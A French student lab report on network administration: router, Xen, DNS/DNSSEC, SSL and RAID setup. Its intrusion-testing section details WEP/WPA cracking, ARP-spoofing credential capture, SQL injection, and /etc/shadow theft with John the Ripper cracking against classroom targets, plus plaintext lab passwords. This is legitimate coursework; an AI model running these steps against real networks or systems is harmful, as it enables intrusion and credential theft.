(config)#ipv6 router rip tpima5sc
(config-rtr)#redistribute connected metric 2
(config-rtr)#redistribute rip 1 metric 2
(config-rtr)#redistribute static metric 2
(config-rtr)#exit

(config)#vlan 131
(config-if)#ipv6 enable
(config-if)#ipv6 address fe80::22 link-local
(config-if)#ipv6 rip tpima5sc enable
(config-if)#exit
(config)#exit

#write
#exit

Mise en place de la machine virtuelle

Création de la machine virtuelle Xen

Afin de créer notre machine virtuelle Xen Linux sur le domaine capbreton.plil.info, nous avons besoin de plusieurs données. Premièrement, un nom de domaine : étant basé sur le thème des champignons, nous avons choisi l'oronge, champignon rare et considéré comme le meilleur qui soit d'un point de vue gustatif. Concernant l'adresse IP, après répartition nous nous sommes vu attribuer l'adresse IP 100.64.0.28. L'adresse IP du routeur 6509E est 100.64.0.5 et le masque de sous-réseau 255.255.255.0 (car 100.64.0.1/24). Nous indiquons le répertoire où les disques virtuels doivent être créés : /usr/local/xen. Enfin, nous choisissons le mot de passe (pasglop) ainsi que la distribution : debian buster étant la dernière distribution stable.

Ce qui donne la commande suivant à entrer sur le domaine capbreton (après s'y être connecter en ssh) : 

root@capbreton:~# xen-create-image --hostname=oronge --ip=100.64.0.28 --gateway=100.64.0.5 --netmask=255.255.255.0 --dir=/usr/local/xen --password=pasglop --dist=buster

Attribution des LVM

Pour se voir attribuer deux LV de 10Go chacun, il est d'abord nécessaire de créer un groupe de volumes storage sur capbreton : nous réunissons les disques sde et sdf de 2.7To chacun. 

root@capbreton:~# vgcreate storage /dev/sde /dev/sdf

Voici les informations sur le VG : 

 --- Volume group ---
 VG Name               storage
 System ID
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  45
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                26
 Open LV               22
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <5.46 TiB
 PE Size               4.00 MiB
 Total PE              1430526
 Alloc PE / Size       66560 / 260.00 GiB
 Free  PE / Size       1363966 / 5.20 TiB
 VG UUID               eusQhE-lOxZ-cQqQ-uFxt-dYjG-LuwI-HL0flc

Ensuite, nous partitionnons ce groupe en LV de 10Go. Pour oronge, nous les appelerons oronge1 et oronge2 : 

 root@capbreton:~# lvcreate -L10G -n oronge1 storage
 root@capbreton:~# lvcreate -L10G -n oronge2 storage

Voici les informations sur nos LVs : 

 --- Logical volume ---
 LV Path                /dev/storage/oronge1
 LV Name                oronge1
 VG Name                storage
 LV UUID                dWsljG-AeF5-FvMB-Hnta-6iq1-UGfR-qz6Xw2
 LV Write Access        read/write
 LV Creation host, time capbreton, 2020-10-12 16:40:47 +0100
 LV Status              available
 # open                 1
 LV Size                10.00 GiB
 Current LE             2560
 Segments               1
 Allocation             inherit
 Read ahead sectors     auto
 - currently set to     256
 Block device           254:22

 --- Logical volume ---
 LV Path                /dev/storage/oronge2
 LV Name                oronge2
 VG Name                storage
 LV UUID                X6zWib-XQ3C-bWFT-Zwjd-ZsF6-Ow9d-rA5BGf
 LV Write Access        read/write
 LV Creation host, time capbreton, 2020-10-12 16:40:50 +0100
 LV Status              available
 # open                 1
 LV Size                10.00 GiB
 Current LE             2560
 Segments               1
 Allocation             inherit
 Read ahead sectors     auto
 - currently set to     256
 Block device           254:23

Il est nécessaire pour nous de les formater au format ext4 avec la commande mkfs : 

root@capbreton:~# mkfs.ext4 /dev/storage/oronge1
root@capbreton:~# mkfs.ext4 /dev/storage/oronge1

Configuration des LV

Pour indiquer à notre machine virtuelle qu'elle possède les volumes logiques oronge1 et oronge2, nous modifions le fichier de configuration de celle-ci en y ajoutant les deux lignes en gras dans la fonction disk=[] dans notre fichier oronge.cfg : 

disk        = [
               'file:/usr/local/xen/domains/oronge/disk.img,xvda2,w',
               'file:/usr/local/xen/domains/oronge/swap.img,xvda1,w',
               'phy:/dev/storage/oronge1,xvda3,w',
               'phy:/dev/storage/oronge2,xvda4,w'
             ]

Nous lançons ensuite notre machine virtuelle (xl create -c /etc/xen/oronge.cfg) afin de mettre les répertoires home et var soient sur les partitions LVM de l'hôte.

Dans un premier temps nous montons nos deux disques "manuellement" afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) : 

root@oronge:~# mount /dev/xvda3 /mnt/xvda3
root@oronge:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire var dans le disques xvda4 : 

root@oronge:~# mv /var/* /mnt/xvda4

Puis nous démontons (umount) nos deux volumes. Nous modifions le fichier /etc/fstab afin de monter correctement nos disques : 

# mettre répertoire /home de la VM oronge dans la partition LVM oronge1
/dev/xvda3 /home ext4 defaults 0 2
# mettre  répertoire /var de la VM oronge dans la partition LVM oronge2
/dev/xvda4 /var ext4 defaults 0 2

Enfin nous les montons avec la commande mount -a, permettant de monter tous les systèmes de fichiers tel qu'indiqué dans fstab.

Voici le résultat, obtenu avec la commande lsblk : 

NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvda1 202:1    0  512M  0 disk [SWAP]
xvda2 202:2    0    4G  0 disk /
xvda3 202:3    0   10G  0 disk /home
xvda4 202:4    0   10G  0 disk /var

Connexion à la machine virtuelle

On peut visualiser les VMs lancées grâce à la commande : 

xen list

On peut se connecter à notre VM avec la commande : 

xen console oronge

On peut également utiliser ssh : 

ssh root@193.48.57.176

Configuration IPV6

Ajouter dans /etc/network/interfaces : 

iface eth0 inet6 auto

Services Internet

Configuration des DNS

Configuration ok le 02/11/2020

Prérequis

Sur le site gandit.net, nous avons fait quelques manipulations :
1. Ajouter un DNS dans Glue Records : ns1.oronge.site | 193.48.57.176
2. Ajouter ce DNS dans Serveurs de noms
3. Ajouter comme DNS secondaire au premier DNS : ns6.gandi.net

Configuration de bind

1. Installation des paquets 

apt install bind9

2. Changer le fichier /etc/resolv.conf 

nameserver 127.0.0.1

3. Configuration du DNS primaire dans la zone oronge.site

On ajoute une zone (oronge.site) de type master et le chemin de son fichier de configuration.
On permet le transfert des informations au DNS secondaire d'IP 217.70.177.40.

Dans le fichier /etc/bind/named.conf.local : 

zone "oronge.site" IN {
        type master;
        file "/etc/bind/db.oronge.site";
        allow-transfer { 217.70.177.40; };
};

4. Configuration de la zone oronge.site

On ajoute :

  • 2 NS (ns1.oronge.site & ns6.gandi.net)
  • 1 A (ns1 : 193.48.57.176)

On modifie :

  • localhost : ns1.oronge.site
  • root.localhost : postmaster.oronge.site

On incrémente le numéro de série pour que le DNS secondaire de gandi récupère les informations du DNS primaire.

Dans le fichier /etc/bind/db.oronge.site 

;
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA     ns1.oronge.site. postmaster.oronge.site. (
                              4         ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
@       IN      NS      ns1.oronge.site.
@       IN      NS      ns6.gandi.net.
ns1     IN      A       193.48.57.176
www     IN      A       193.48.57.176
        IN      AAAA    2001:660:4401:60b2:216:3eff:fe5e:9825

Vérifications

host -t any oronge.site ns6.gandi.net
Using domain server:
Name: ns6.gandi.net
Address: 2001:4b98:d:1::40#53
Aliases:

oronge.site name server ns1.oronge.site.
oronge.site name server ns6.gandi.net.
oronge.site has SOA record ns1.oronge.site. postmaster.oronge.site. 4 604800 86400 2419200 604800

tail -50 /var/log/daemon.log
Nov  2 16:40:28 oronge named[519]: zone oronge.site/IN: sending notifies (serial 4)

grep AXFR /var/log/daemon.log
Nov  2 15:11:59 oronge named[682]: client @0x7f3ba00d5b80 217.70.177.40#33645 (oronge.site): transfer of 'oronge.site/IN': AXFR started (serial 4)
Nov  2 15:11:59 oronge named[682]: client @0x7f3ba00d5b80 217.70.177.40#33645 (oronge.site): transfer of 'oronge.site/IN': AXFR ended

Sécurisation du site par certificat SSL

Certificat mis en place le 06/11/20

SSL Oronge

Prérequis

1. Générer les clés privées et publiques

Sur la machine virtuelle, dans le dossier /etc/ssl/, nous avons générer les fichiers .csr (clé publique) et .key (clé privée). 

openssl req -nodes -newkey rsa:2048 -sha256 -keyout oronge.site.key -out oronge.site.csr

Nous avons placé le fichier .key dans /etc/ssl/private/.

Sur gandi.net, il faut faire une demande de signature (gandi signe le .csr, ce qui donne lieu à un .crt).
Pour cela, il faut suivre cette procédure :

  • Dans l'étape 2.1, il faut sélectionner Ailleurs -> Standard -> Une adresse (12€, le prix facturé sera de 0€)
  • Copier le contenu du fichier .csr
  • Suivre les indications et choisir le mode de validation par DNS.

Nous avons ajouté un enregistrement CNAME à notre DNS, c'est-à-dire dans le fichier /etc/bind/db.oronge.site : 

_D02D6E81015AC4C912452A293FC44F3B.oronge.site. 10800 IN CNAME 53C1F9632BC71285903C42E79FB9786F.1FAD6B9FAF636C3B81697C2DAF265A8A.ae93f6696a2a89b67aa6.comodoca.com.

A la suite de ces étapes, le certificat est disponible au téléchargement depuis le site de gandi (fichier .crt) que l'on place dans /etc/ssl/certs/.
On télécharge également le certificat intermédiaire de gandi : GandiStandardSSLCA2.pem que l'on place également dans /etc/ssl/certs/.

Configuration d'Apache 2

1. Activation du module SSL 

a2enmod ssl

2. Configuration du port 443

Dans le fichier /etc/apache2/ports.conf, il y avait : 

Listen 80

<IfModule ssl_module>
       Listen 443
</IfModule>

<IfModule mod_gnutls.c>
        Listen 443
</IfModule>

Nous avons supprimé le premier if module et nous avons ajouté : 

<IfModule mod_ssl.c>
        Listen 443
</IfModule>

3. Création de liens symboliques pour les certificats 

c_rehash /etc/ssl/certs

La sortie de cette commande est celle-ci : 

Doing /etc/ssl/certs
WARNING: Skipping duplicate certificate ca-certificates.crt
WARNING: Skipping duplicate certificate ca-certificates.crt

4. Hôtes virtuels

Nous avons créé le répertoire /var/www/oronge.site/

Nous avons créé le fichier /etc/apache2/sites-available/000-oronge.site-ssl.conf dans lequel nous avons mis : 

<VirtualHost 193.48.57.176:443>
        ServerName oronge.site
        ServerAlias www.oronge.site
        DocumentRoot /var/www/www.oronge.site/
        CustomLog /var/log/apache2/secure_access.log combined

        SSLEngine on
        SSLCertificateFile /etc/ssl/certs/oronge.site.crt
        SSLCertificateKeyFile /etc/ssl/private/oronge.site.key
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem
        SSLVerifyClient None
</VirtualHost>

Nous avons activé le site ssl : 

a2ensite 000-oronge.site-ssl

5. Configuration d'Apache2

Dans le fichier /etc/apache2/apache2.conf 

ServerName oronge.site

6. Ajout d'un enregistrement

Dans le fichier /etc/bind/db.oronge.site, nous avons ajouté un enregistrement de type A pour définir l'adresse de www.oronge.site : 

www     IN      A       193.48.57.176

Tests

Nous utilisons openssl pour tester la configuration : 

openssl s_client -connect 193.48.57.176:443

CONNECTED(00000003)
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority
verify return:1
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2
verify return:1
depth=0 CN = oronge.site
verify return:1
---
Certificate chain
 0 s:CN = oronge.site
   i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2
 1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2
   i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority
---
Server certificate
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----
subject=CN = oronge.site

issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2

---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 3550 bytes and written 387 bytes
Verification: OK
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
    Protocol  : TLSv1.3
   Cipher    : TLS_AES_256_GCM_SHA384
    Session-ID: 654FFD63186F84C36B210C476CB4A874053BF168FE7DB0417A4B2BB6D030C85C
    Session-ID-ctx:
    Resumption PSK: 961DBE5F600E3FE88B1A5FB56D390B1B255FB58B29928C63A22AED558C057E3426A7BCE37C10E2D2D69932B8771F0944
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
    0000 - 7b 0c a1 1a f6 1b 2d 15-27 99 91 ff c3 5a f4 83   {.....-.'....Z..
    [...]
    00f0 - 49 0d 2c 1d f6 8f ab b4-a5 56 2e af 50 a6 72 2e   I.,......V..P.r.

    Start Time: 1604673470
    Timeout   : 7200 (sec)
    Verify return code: 0 (ok)
    Extended master secret: no
    Max Early Data: 0
---
read R BLOCK
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Session-ID: 5E18C23935EA19CE6B85CB656F1EE895BFEFF1CF9C1DE5C90D0D31B16E267D5D
    Session-ID-ctx:
    Resumption PSK: 8FE876020B0E6A1558A3F34DD21C9968E4D173B0708ABFD721B72879893DA438EEAE717FE9D7948AC3F8241C298B1C92
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
    0000 - 7b 0c a1 1a f6 1b 2d 15-27 99 91 ff c3 5a f4 83   {.....-.'....Z..
    [...]
    00e0 - c5 b6 49 8c 20 91 d1 a0-37 cf 63 49 c9 63 c3 17   ..I. ...7.cI.c..

    Start Time: 1604673470
    Timeout   : 7200 (sec)
    Verify return code: 0 (ok)
    Extended master secret: no
    Max Early Data: 0
---
read R BLOCK

Nous avons également tester Apache2 : 

apachectl configtest
Syntax OK

Sécurisation du DNS par DNSSEC

Configuration mise en place le 06/11/20

Schéma DNSSEC

1. Activer DNSSEC

Dans /etc/bind/named.conf.options : 

dnssec-enable yes;
dnssec-validation yes;
dnssec-lookaside auto;

2. Génération des clés

Tout d'abord on créé un répertoire /etc/bind/oronge.site.dnssed/.
Ensuite, on crée la clé asymétrique de signature de clefs de zone : 

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE oronge.site

On renomme les clés en 

oronge.site-ksk.key
oronge.site-ksk.private

Ensuite, on crée la clé asymétrique de la zone pour signer les enregistrements : 

dnssec-keygen -a RSASHA1 -b 1024 -n ZONE oronge.site

On renomme les clés en 

oronge.site-zsk.key
oronge.site-zsk.private

On les inclue dans /etc/bind/db.oronge.site 

$include /etc/bind/oronge.site.dnssec/oronge.site-ksk.key
$include /etc/bind/oronge.site.dnssec/oronge.site-zsk.key

On augmente le numéro de série.

3. Signature des enregistrements de la zone 

dnssec-signzone -o oronge.site -k oronge.site-ksk ../db.oronge.site oronge.site-zsk

4. Prise en compte du fichier signé

On modifie le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed.

5. Gandi.net

Il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier oronge.site-ksk.key) à gandi.net.
L'algorithme utilisé est le 5 (RSA/SHA-1).

6. Tests 

root@oronge:/etc/bind# dnssec-verify -o oronge.site db.oronge.site.signed
Loading zone 'oronge.site' from file 'db.oronge.site.signed'
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
                    ZSKs: 1 active, 0 stand-by, 0 revoked

root@oronge:/etc/bind# host -t any oronge.site
oronge.site has SOA record ns1.oronge.site. postmaster.oronge.site. 6 604800 86400 2419200 604800
oronge.site has RRSIG record SOA 5 2 604800 20201206150833 20201106150833 1755 oronge.site. JMv1ZEwkS8eXmzfEzpMGOyAhTM6n24NrVuSfwLMOyTG5Ibf1angFzROx 
Q+csw0upOjvvOi+y6YZX+7aDB5W6Nf8tmJCJwQ/5TtmcBxrdCAbCvkOc 4fqvUk+KV8d8cEcL4z1+HuFxGiNAw/7DLMaiEUNt0OT8QtzvhcFSU6pm lhM=
oronge.site name server ns1.oronge.site.
oronge.site name server ns6.gandi.net.
oronge.site has RRSIG record NS 5 2 604800 20201206150833 20201106150833 1755 oronge.site. Z0mtsbZeHnScNkXUN3Z7MwEglAAKmquQgktV2Lgp1fzDxqzcVj7Lsv2G 
6lp032Y3k2QNo4Zk6YcKAYCXo75hHM1DEOVtNSeQxwEiqFeS05Fyxzh8 yN43c3r7+S9oCqrged247URDz94lHPhg+OEKBNiKUnEBNIQrTeQI6yNK KgQ=
oronge.site has NSEC record _D02D6E81015AC4C912452A293FC44F3B.oronge.site. NS SOA RRSIG NSEC DNSKEY
oronge.site has RRSIG record NSEC 5 2 604800 20201206150833 20201106150833 1755 oronge.site. GSulMcy+XiPI40+1mSLtfPRRhb9C3eiIqZtnkBeh7UYNUEomWSA+inAu 
JStXgrwMVo3XDGZwJ+3ddOU/j2DFuECSNgqFhAlMOmpCtDat4pnxUqL+ zGpZGBs1CFWVUYLuErcNsbQXIFGsVpr8yxj1g1S1KU3cfJ0uKVBTb24j hT4=
oronge.site has DNSKEY record 257 3 5 AwEAAb0FJ1pBumAyxGR4zDXY1nDRViGs58RBa1/DRhEplFa8uQ2RuAcB hrDZNE0+P/JNd/DvCR1aa+MsqhHRgOX7fctmOxy2GpOBSdyxK7dCx+Ua 
8S2K0XaMsjsDiVpSPg7BQgrnkykelPuvr2biBd/cLrO87wROi+g8IRoM ZYtOzRrfX35b5ySTAFBcefFUlVXmJtCJ+mK8/q8Rqwm+vAzIZ6kJ90eU 2xbJ/f9gK0bbUDSCXJvyCrNAgn4Ft6DLI3uhiCYqOgMBbWh98j2+2hBg 
Gn/oRgpBoTjhjCAklTDICmQHCZ5toCCBx74hkRHYD368fe9Tx4eKZOyK w3rWt/+vVY8=
oronge.site has DNSKEY record 256 3 5 AwEAAdXzK2UGuBkPvNB2+FqnbgJYqrug8fOr915xGMA65ndvGacgoCjn LjFk9q/y9+o4kpd1+geWcfOfb6vdj6+6d6XNZRHNzbO6qrN/7K+Iwfgc 
NdDbWP68jT3XNFQwOvKKUpfQUbFOduiQ55ivulaqoUIVf69fsY1gjEhs bpO6i5DX
oronge.site has RRSIG record DNSKEY 5 2 604800 20201206150833 20201106150833 1755 oronge.site. AEwLnbCFtQl2DyF49iWY5DOmJP/yENNigU/Nza/Jq836P9py8/hWcLBn 
PHC2vB+b0w+BjfEC9I0HSwEMWBPnjuckFEC5GWpFEVa5HwGRLGJdcOdQ BqC21VNqaI219T7UAMgTIBaO9UiYNroksYxhVJm1k9NG1pjVOp6ajy8M MLw=
oronge.site has RRSIG record DNSKEY 5 2 604800 20201206150833 20201106150833 12568 oronge.site. npL44y+qYV7MdAq8+nJO2o/AVCa4uxplLICFv/V8z6JC8spZaRp/4/ib 
80Bf8/28jt4WQbBuEemM4tys/CYwFsEyNF33Y5m1sNQgZY8BVjp3m+gz 9Axn1kGWbayNlWqNt7fBKWBveDAyqikpoSzyAmHQgHMHcpqWiv9H/sUN VwC6MH6UI5vMj675zpQNPmZucd3cd1sWhE5/GUYCwd0i3XdexGTe224S 
+j9RE16gWAn62I9h3Taae8sOLHCxpRe+pzmVdrgeFJUvMsaVzMxLd7hB BW30M+5ShzhapMkbvwh4qLUs1Uq8QnplWsUB5bclsC4nswHpgpOL8se4 Y38n5g==

Tests d'intrusion

Exploitation de faille système

test sur un noyau à faille connue

Téléchargement d'un iso

Lancement sur VMWare Workstation

Analyse des exploits avec "Linux Exploit Suggester" 

wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
mv linux-exploit-suggester-2.pl les2.pl
./les2.pl

Cassage de clef WEP d’un point d’accès WiFi

La première étape est de paramétrer notre carte réseau en mode moniteur. Le mode moniteur est un mode qui permet d'écouter chaque paquet qui se promène dans l'air : l'écoute de ces paquets nous permettra d'effectuer des injections ensuite. Pour ce faire, il nous faut tout d'abord le nom de notre interface : 

airmon-ng nous retourne notre interface réseau (WiPi) : wlx40a5ef0127d0

Nous démarrons ensuite notre interface en mode moniteur sur le channel 3 : 

airmon-ng start wlx40a5ef0127d0 3

Afin de cracker la clef WEP d'un point d'accès, il est nécessaire pour nous de le choisir est de récupérer son BSSID : 

airodump-ng wlx40a5ef0127d0 nous permet d'écouter tous les paquets dans l'air

Nous choisissons alors la cracotte12 et récupérons son BSSID : 04:DA:D2:9C:50:5B. Pour vérifier que nous sommes assez proche du point d'accès, on effectue un test d'injection qui doit nous retourner un pourcentage proche de 100% : 

aireplay-ng -9 -e cracotte12 -a 04:DA:D2:9C:50:5B wlx40a5ef0127d0

-9 : mode injection
-e cracotte12 : nom du point d'accès
-a 04:DA:D2:9C:50:5B : bssid du point d'accès

Dans une console, on capture ensuite les VI générés par le point d'accès afin de les stocker dans un fichier output : 

airodump-ng -c 3 --bssid 04:DA:D2:9C:50:5B -w output wlx40a5ef0127d0

-c 3 : canal de communication du point d'accès
-w output : préfixe de nom de fichier de sortie

Une fois cette commande lancée, dans un autre terminal nous associons notre interface réseau avec le point d'accès. Il est nécessaire de passer par une fausse authentification pour cela : 

aireplay-ng -1 0 -e cracotte12 -a 04:DA:D2:9C:50:5B -h 40:A5:EF:01:27:D0 wlx40a5ef0127d0

-1 : mode "fake authentification"
0 : délai entre les demandes d'authentifications
-h 40:A5:EF:01:27:D0 : bssid de l'interface réseau

A noter qu'il est nécessaire de laisser la capture des VI tourner assez longtemps pour avoir assez de contenu pour cracker la clef WEP.

La clef WEP est ensuite décriptable grâce à la commande aircrack-ng et aux fichiers output : 

aircrack-ng -b 04:DA:D2:9C:50:5B output*.cap

Lorsque tout est correctement exécuté nous obtenons le résultat suivant : 

KEY FOUND! [ F1:DE:D4:00:00:00:00:FF:FF:FF:FF:FF:FF ] 
Decrypted correctly: 100%

Cassage de clef WPA-PSK d’un point d’accès WiFi

La première étape est de paramétrer notre carte réseau en mode moniteur. Le mode moniteur est un mode qui permet d'écouter chaque paquet qui se promène dans l'air : l'écoute de ces paquets nous permettra d'effectuer des injections ensuite. Pour ce faire, il nous faut tout d'abord le nom de notre interface : 

airmon-ng nous retourne notre interface réseau (WiPi) : wlx40a5ef0127d0

Nous démarrons ensuite notre interface en mode moniteur sur le channel 9 : 

airmon-ng start wlx40a5ef0127d0 9

Afin de cracker la clef WEP d'un point d'accès, il est nécessaire pour nous de le choisir est de récupérer son BSSID : 

airodump-ng wlx40a5ef0127d0 nous permet d'écouter tous les paquets dans l'air

On choisit la kracotte04 ayant pour bssid : 00:14:1B:60:8C:23

On capture ensuite les VI générés par le point d'accès afin de capturer une Handshake provoqué par la connexion d'un Rasberry sur le point d'accès (programmé par le professeur) dans un fichier psk : 

airodump-ng -c 9 --bssid 00:14:1B:60:8C:23 -w psk wlx40a5ef0127d0

A noter qu'il est nécessaire de laisser la capture des VI tourner quelques minutes pour capturer un handshake.

Une fois le Handshake capturé, il est nécessaire de créer un dictionnaire contenant toutes les combinaisons de 8 chiffres possible (format de la clef WPA-PSK), nous utilisons l'utilitaire crunch : 

crunch 8 8 0123456789 -o password.lst

8 8 : tailles minimum et maximum de la clef
0123456789 : liste des caractères ouvant être contenu dans un "mot"
-o password.lst : fichier de sortie dans lequel stocker le dictionnaire


La clef WPA-PSK est ensuite décriptable grâce à la commande aircrack-ng, au dictionnaire et aux fichiers psk. Le Handshake et le dictionnaire vont permettre la comparaison de toutes les combinaisons afin de trouver la bonne : 

aircrack-ng -w password.lst -b 00:14:1B:60:8C:23 psk*.cap

Lorsque tout est correctement exécuté nous obtenons le résultat suivant : 

KEY FOUND! [ 90122222 ]
Master Key     : 2D 1E 30 8D AA 30 91 7A 5D AB B5 80 02 FB 16 3F 
                 9B DB 91 AC A5 76 4A 33 31 8B D3 7B AC 5A DB A7 

Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

EAPOL HMAC     : E6 17 FE C7 E3 14 F0 B9 68 99 97 86 07 41 DA E8

Attaque de type "homme au milieu" par usurpation ARP

Afin d'effectuer une attaque de type "man-in-the-middle", il est nécessaire sur un eeePC d'installer le paquet dsniff et de le mettre en mode routeur. Pour passer la machine en mode routeur, nous exécutons la commande suivante : 

sysctl -w net.ipv4.ip_forward=1

Nous lançons ensuite la commande arpspoof afin de placer notre machine entre une zabeth (dans notre cas : zabeth17) et le routeur utilisé par celle-ci (router-students-info.de) : 

arpspoof -i enp4s0 -t 172.26.145.67 172.26.145.254

-i enp4s0 : interface réseau
-t 172.26.145.67 : cible de notre "attaque", adresse IP de la zabeth17
172.26.145.254 : adresse IP du routeur router-students-info.de

Afin de vérifier que nous nous sommes bien "inséré" dans les échanges ARP, sur la zabeth nous vérifions à l'aide de la commande arp que l'adresse MAC de la passerelle est la même que notre eeePC : 

root@zabeth16:~# arp
Address                  HWtype  HWaddress           Flags Mask            Iface
router1-students-info.d  ether   00:11:5d:f2:54:00   C                     bridge
router-students-info.de  ether   5c:b9:01:b8:ca:1a   C                     bridge
105.145.26.172.polytech  ether   5c:b9:01:b8:ca:1a   C                     bridge

Ensuite, nous lançons Wireshark et nous capturons les paquets en les filtrant (adresse IP de la zabeth). A la connexion sur un site HTTP non sécurisé (nous choisissons http://diptera.myspecies.info) de la part d'un utilisateur sur la zabeth17, nous capturons un paquet HTTP utilisant la méthode POST dans lequel nous retrouvons des informations intéressantes telles que le nom d'utilisateur ou le mot de passe :

Capture du paquet HTTP de la "victime"

Important : à noter que nous avons dû désactiver le protocole ipv6 du navigateur de la machine visée car le protocole HTTP utilisé ce protocole et non pas l'ipv4 ce qui ne nous permettait pas de capturer celui-ci sur l'eeePC.

Intrusion sur un serveur d'application Web

Intrusion réussie le 19 octobre 2020 

root@honey:~# ls -l
total 12
-rw-r--r-- 1 root root 25 Oct 19 19:30 Grp14
-rw-r--r-- 1 root root 32 Oct 19 19:15 Sam_Et_Pierre_Sont_Des_Imposteurs
-rw-r--r-- 1 root root 20 Oct 19 19:08 TMVwash3r3

1. Injection SQL

Dans un navigateur, on ouvre la page http://honey.plil.info.
Pour obtenir la liste des identifiants et mots de passe de l'application, on va utiliser une injection SQL.

' OR 1 = 1 --

Le fonction de l'injection est simple, prenons par exemple la requête SQL : 

SELECT * FROM USERS WHERE ID='$id' AND PWD='$pwd'

Si on entre dans les champs Id et Password l'injection SQL, la requête deviendra : 

SELECT * FROM USERS WHERE ID=‘‘ or 1 = 1 --' AND PWD= or 1 = 1 --'

Ainsi, on va commenter les apostrophes avec -- et ajouter un or avec une condition toujours vraie pour récupérer toutes les infos sur les identifiants et mots de passe.

Nous avons obtenu le tableau suivant, nous donnant des informations de connexion au site Web :

ID Password Groupe Nom
admin jesuislechef admin Administrateur
brutus test brute Brutus le cleb's
pifou pasglop normal Pifou le chiot
tmv tmv root TMV

2. Analyse du serveur

Ensuite, nous avons analysé le serveur web avec l'outil dirb : 

dirb http://honey.plil.info

Peu après le lancement de la commande, nous avons remarqué la présence du répertoire phpmyadmin sur le serveur.
Nous avons donc ouvert l'URL http://honey.plil.info/phpmyadmin dans un navigateur, mais sans surprise, nous ne pouvions pas nous y connecter.

3. Exploitation du site web

Nous nous sommes donc connectés au site web sur le compte admin, disposant donc des plus hauts privilègs.
De là, 3 menus, dont 2 sont intéressants. Dans l'onglet gestion des manuels, on peut ajouter un fichier depuis le serveur.
Ainsi, nous avons ajouté le fichier /etc/phpmyadmin/config-db.php.

Depuis la page Recherche d'un manuel, nous avons pû télécharger ce fichier, qui nous a indiqué le mot de passe du compte phpmyadmin : gencovid19.
Nous nous sommes connectés à phpmyadmin avec l'identifiant root et ce mot de passe.
Ensuite, dans la base test, il y avait une table users dans laquelle se trouvait le mot de passe du compte rex de honey.plil.info.

4. Récupération de fichiers avec l'user rex

Nous avons donc réussi à nous connecter en SSH au serveur, et nous avons récupéré les fichiers /etc/passwd et /etc/shadow.
Nous avons lancé la commande : 

unshadow /etc/passwd /etc/shadow | head -1 > mdp

Nous avons obtenu un fichier avec le mot de passe root haché.

5. Decryptage du mot de passe root avec John the Ripper

L'utilisation de John the Ripper semblait toute indiquée. Nous nous sommes aidé des indications : "mot de passe présentant les mêmes caractéristiques que le mot de passe root habituel".
Nous avons créé un dictionnaire de mots de 4 lettres : 

crunch 4 4 abcdefghijklmnopqrstuvwxyz > dict

Pour obtenir des mots de 8 lettres (en duplicant les mots de 4 lettres), nous avons utilisé sed : 

sed -i 's/\(.*\)/\1\1/'

La dernière étape consistait à lancer JtR : 

john -w:dict mdp

Après 5 minutes d'attente, le mot de passe vu cracké.
Avec la commande : 

john --show mdp

On obtient le mot de passe : fortfort.

Réalisations

Sécurisation de données

Pour notre serveur Xen nous créons trois partitions LVM de 1Go dans le groupe de volume storage avec des noms liés à celui de notre serveur : 

lvcreate -L1G -n oronge-raid1 storage
lvcreate -L1G -n oronge-raid2 storage
lvcreate -L1G -n oronge-raid3 storage

Et nous les ajoutons à notre fichier de configuration oronge.cfg : 

'phy:/dev/storage/oronge-raid1,xvda5,w',
'phy:/dev/storage/oronge-raid2,xvda6,w',
'phy:/dev/storage/oronge-raid3,xvda7,w'

Afin de prendre en compte ces nouveaux paramètres, nous redémarrons notre machine virtuelle oronge.

Sur notre machine virtuelle, à l'aide du paquetage mdadm, nous créons le RAID5 : 

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7

--create /dev/md0 : créer un nouveau volume
--level=5 : défini le niveau du RAID
